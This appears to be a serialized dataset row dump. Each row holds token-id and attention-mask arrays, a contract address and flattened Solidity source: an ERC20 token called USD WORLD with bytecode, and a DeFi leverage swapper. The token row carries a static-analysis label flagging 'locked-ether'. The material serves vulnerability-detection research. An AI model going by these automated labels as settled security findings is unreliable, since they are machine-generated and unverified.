[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,563
0x96ff741d07a856f69527fbe07cb4f67640e97ee4
pragma solidity ^0.4.26; contract SafeMath { function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) { c = a + b; require(c >= a); } function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) { require(b <= a); c = a - b; } function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) { require(b > 0); c = a / b; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract NV_USDWORLD is Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "USDW"; name = "USD WORLD"; decimals = 18; _totalSupply = 43000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() external constant returns (uint256) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) external constant returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) external returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) external returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint256 tokens) external returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () external payable { revert(); } function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) { return this.transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd5780639f6b8ef11461046d578063a293d1e8146104b2578063a9059cbb146104fd578063b5931f7c14610562578063cae9ca51146105ad578063d05c78da1461062a578063d4ee1d9014610675578063dd62ed3e146106cc578063e6cb901314610743578063f2fde38b1461078e575b600080fd5b34801561012357600080fd5b5061012c6107d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061086f565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b50610221610961565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ac565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c3c565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c4f565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c55565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610c9e565b005b34801561039257600080fd5b5061039b610e3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610e62565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b5061049860048036038101908080359060200190929190505050610f00565b604051808215151515815260200191505060405180910390f35b3480156104be57600080fd5b506104e76004803603810190808035906020019092919080359060200190929190505050611063565b6040518082815260200191505060405180910390f35b34801561050957600080fd5b50610548600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061107f565b604051808215151515815260200191505060405180910390f35b34801561056e57600080fd5b506105976004803603810190808035906020019092919080359060200190929190505050611208565b6040518082815260200191505060405180910390f35b3480156105b957600080fd5b50610610600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190820180359060200191909192939192939050505061122c565b604051808215151515815260200191505060405180910390f35b34801561063657600080fd5b5061065f6004803603810190808035906020019092919080359060200190929190505050611431565b6040518082815260200191505060405180910390f35b34801561068157600080fd5b5061068a611462565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d857600080fd5b5061072d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611488565b6040518082815260200191505060405180910390f35b34801561074f57600080fd5b50610778600480360381019080803590602001909291908035906020019092919050505061150f565b6040518082815260200191505060405180910390f35b34801561079a57600080fd5b506107cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152b565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006109f7600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611063565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ac0600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611063565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b89600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361150f565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cfa57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ef85780601f10610ecd57610100808354040283529160200191610ef8565b820191906000526020600020905b815481529060010190602001808311610edb57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561102157600080fd5b505af1158015611035573d6000803e3d6000fd5b505050506040513d602081101561104b57600080fd5b81019080805190602001909291905050509050919050565b600082821115151561107457600080fd5b818303905092915050565b60006110ca600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611063565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611156600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361150f565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561121857600080fd5b818381151561122357fe5b04905092915050565b600083600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff16638f4ffcb133863087876040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825284848281815260200192508082843782019150509650505050505050600060405180830381600087803b15801561140d57600080fd5b505af1158015611421573d6000803e3d6000fd5b5050505060019050949350505050565b600081830290506000831480611451575081838281151561144e57fe5b04145b151561145c57600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015151561152557600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582013c0c0e7d6a2750c1617fffd68d232062b680df6d8e1db89d6c8ee2143ebc8bc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 4246, 2581, 23632, 2094, 2692, 2581, 2050, 27531, 2575, 2546, 2575, 2683, 25746, 2581, 26337, 2063, 2692, 2581, 27421, 2549, 2546, 2575, 2581, 21084, 2692, 2063, 2683, 2581, 4402, 2549, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2656, 1025, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,564
0x96ffaa1b3d647a2ab4cfda942f411f4abf749cdb
// SPDX-License-Identifier: MIXED // File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol@v1.4.2 // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Pair.sol@v1.4.2 // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/BoringRebase.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; struct Rebase { uint128 elastic; uint128 base; } /// @notice A rebasing library using overflow-/underflow-safe math. library RebaseLibrary { using BoringMath for uint256; using BoringMath128 for uint128; /// @notice Calculates the base value in relationship to `elastic` and `total`. function toBase( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (uint256 base) { if (total.elastic == 0) { base = elastic; } else { base = elastic.mul(total.base) / total.elastic; if (roundUp && base.mul(total.elastic) / total.base < elastic) { base = base.add(1); } } } /// @notice Calculates the elastic value in relationship to `base` and `total`. function toElastic( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (uint256 elastic) { if (total.base == 0) { elastic = base; } else { elastic = base.mul(total.elastic) / total.base; if (roundUp && elastic.mul(total.base) / total.elastic < base) { elastic = elastic.add(1); } } } /// @notice Add `elastic` to `total` and doubles `total.base`. /// @return (Rebase) The new total. /// @return base in relationship to `elastic`. function add( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (Rebase memory, uint256 base) { base = toBase(total, elastic, roundUp); total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return (total, base); } /// @notice Sub `base` from `total` and update `total.elastic`. /// @return (Rebase) The new total. /// @return elastic in relationship to `base`. function sub( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (Rebase memory, uint256 elastic) { elastic = toElastic(total, base, roundUp); total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return (total, elastic); } /// @notice Add `elastic` and `base` to `total`. function add( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return total; } /// @notice Subtract `elastic` and `base` to `total`. function sub( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return total; } /// @notice Add `elastic` to `total` and update storage. /// @return newElastic Returns updated `elastic`. function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.add(elastic.to128()); } /// @notice Subtract `elastic` from `total` and update storage. /// @return newElastic Returns updated `elastic`. function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.sub(elastic.to128()); } } // File @sushiswap/bentobox-sdk/contracts/IBatchFlashBorrower.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IBatchFlashBorrower { function onBatchFlashLoan( address sender, IERC20[] calldata tokens, uint256[] calldata amounts, uint256[] calldata fees, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/IFlashBorrower.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IFlashBorrower { function onFlashLoan( address sender, IERC20 token, uint256 amount, uint256 fee, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/IStrategy.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IStrategy { // Send the assets to the Strategy and call skim to invest them function skim(uint256 amount) external; // Harvest any profits made converted to the asset and pass them to the caller function harvest(uint256 balance, address sender) external returns (int256 amountAdded); // Withdraw assets. The returned amount can differ from the requested amount due to rounding. // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for. function withdraw(uint256 amount) external returns (uint256 actualAmount); // Withdraw all assets in the safest way possible. This shouldn't fail. function exit(uint256 balance) external returns (int256 amountAdded); } // File @sushiswap/bentobox-sdk/contracts/IBentoBoxV1.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IBentoBoxV1 { event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress); event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver); event LogRegisterProtocol(address indexed protocol); event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved); event LogStrategyDivest(address indexed token, uint256 amount); event LogStrategyInvest(address indexed token, uint256 amount); event LogStrategyLoss(address indexed token, uint256 amount); event LogStrategyProfit(address indexed token, uint256 amount); event LogStrategyQueued(address indexed token, address indexed strategy); event LogStrategySet(address indexed token, address indexed strategy); event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage); event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share); event LogWhiteListMasterContract(address indexed masterContract, bool approved); event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function balanceOf(IERC20, address) external view returns (uint256); function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results); function batchFlashLoan(IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data) external; function claimOwnership() external; function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable; function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut); function flashLoan(IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data) external; function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external; function masterContractApproved(address, address) external view returns (bool); function masterContractOf(address) external view returns (address); function nonces(address) external view returns (uint256); function owner() external view returns (address); function pendingOwner() external view returns (address); function pendingStrategy(IERC20) external view returns (IStrategy); function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function registerProtocol() external; function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external; function setStrategy(IERC20 token, IStrategy newStrategy) external; function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external; function strategy(IERC20) external view returns (IStrategy); function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share); function totals(IERC20) external view returns (Rebase memory totals_); function transfer(IERC20 token, address from, address to, uint256 share) external; function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external; function transferOwnership(address newOwner, bool direct, bool renounce) external; function whitelistMasterContract(address masterContract, bool approved) external; function whitelistedMasterContracts(address) external view returns (bool); function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/swappers/Leverage/YVWETHLevSwapper.sol // License-Identifier: MIT pragma solidity 0.6.12; interface CurvePool { function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256); } interface YearnVault { function withdraw() external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); } interface TetherToken { function approve(address _spender, uint256 _value) external; } contract YVWETHLevSwapper{ using BoringMath for uint256; // Local variables IBentoBoxV1 public immutable bentoBox; CurvePool public constant MIM3POOL = CurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B); TetherToken public constant TETHER = TetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7); YearnVault public constant WETH_VAULT = YearnVault(0xa258C4606Ca8206D8aA700cE2143D7db854D168c); IUniswapV2Pair constant pair = IUniswapV2Pair(0x06da0fd433C1A5d7a4faa01111c044910A184553); IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 public constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3); constructor( IBentoBoxV1 bentoBox_ ) public { bentoBox = bentoBox_; WETH.approve(address(WETH_VAULT), type(uint256).max); MIM.approve(address(MIM3POOL), type(uint256).max); } // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // Given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // Swaps to a flexible amount, from an exact input amount function swap( address recipient, uint256 shareToMin, uint256 shareFrom ) public returns (uint256 extraShare, uint256 shareReturned) { (uint256 amountFrom, ) = bentoBox.withdraw(MIM, address(this), address(this), 0, shareFrom); uint256 amountIntermediate = MIM3POOL.exchange_underlying(0, 3, amountFrom, 0, address(pair)); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInt2 = getAmountOut(amountIntermediate, reserve1, reserve0); pair.swap(amountInt2, 0, address(this), new bytes(0)); uint256 amountTo = WETH_VAULT.deposit(type(uint256).max, address(bentoBox)); (, shareReturned) = bentoBox.deposit(IERC20(address(WETH_VAULT)), address(bentoBox), recipient, amountTo, 0); extraShare = shareReturned.sub(shareToMin); } }
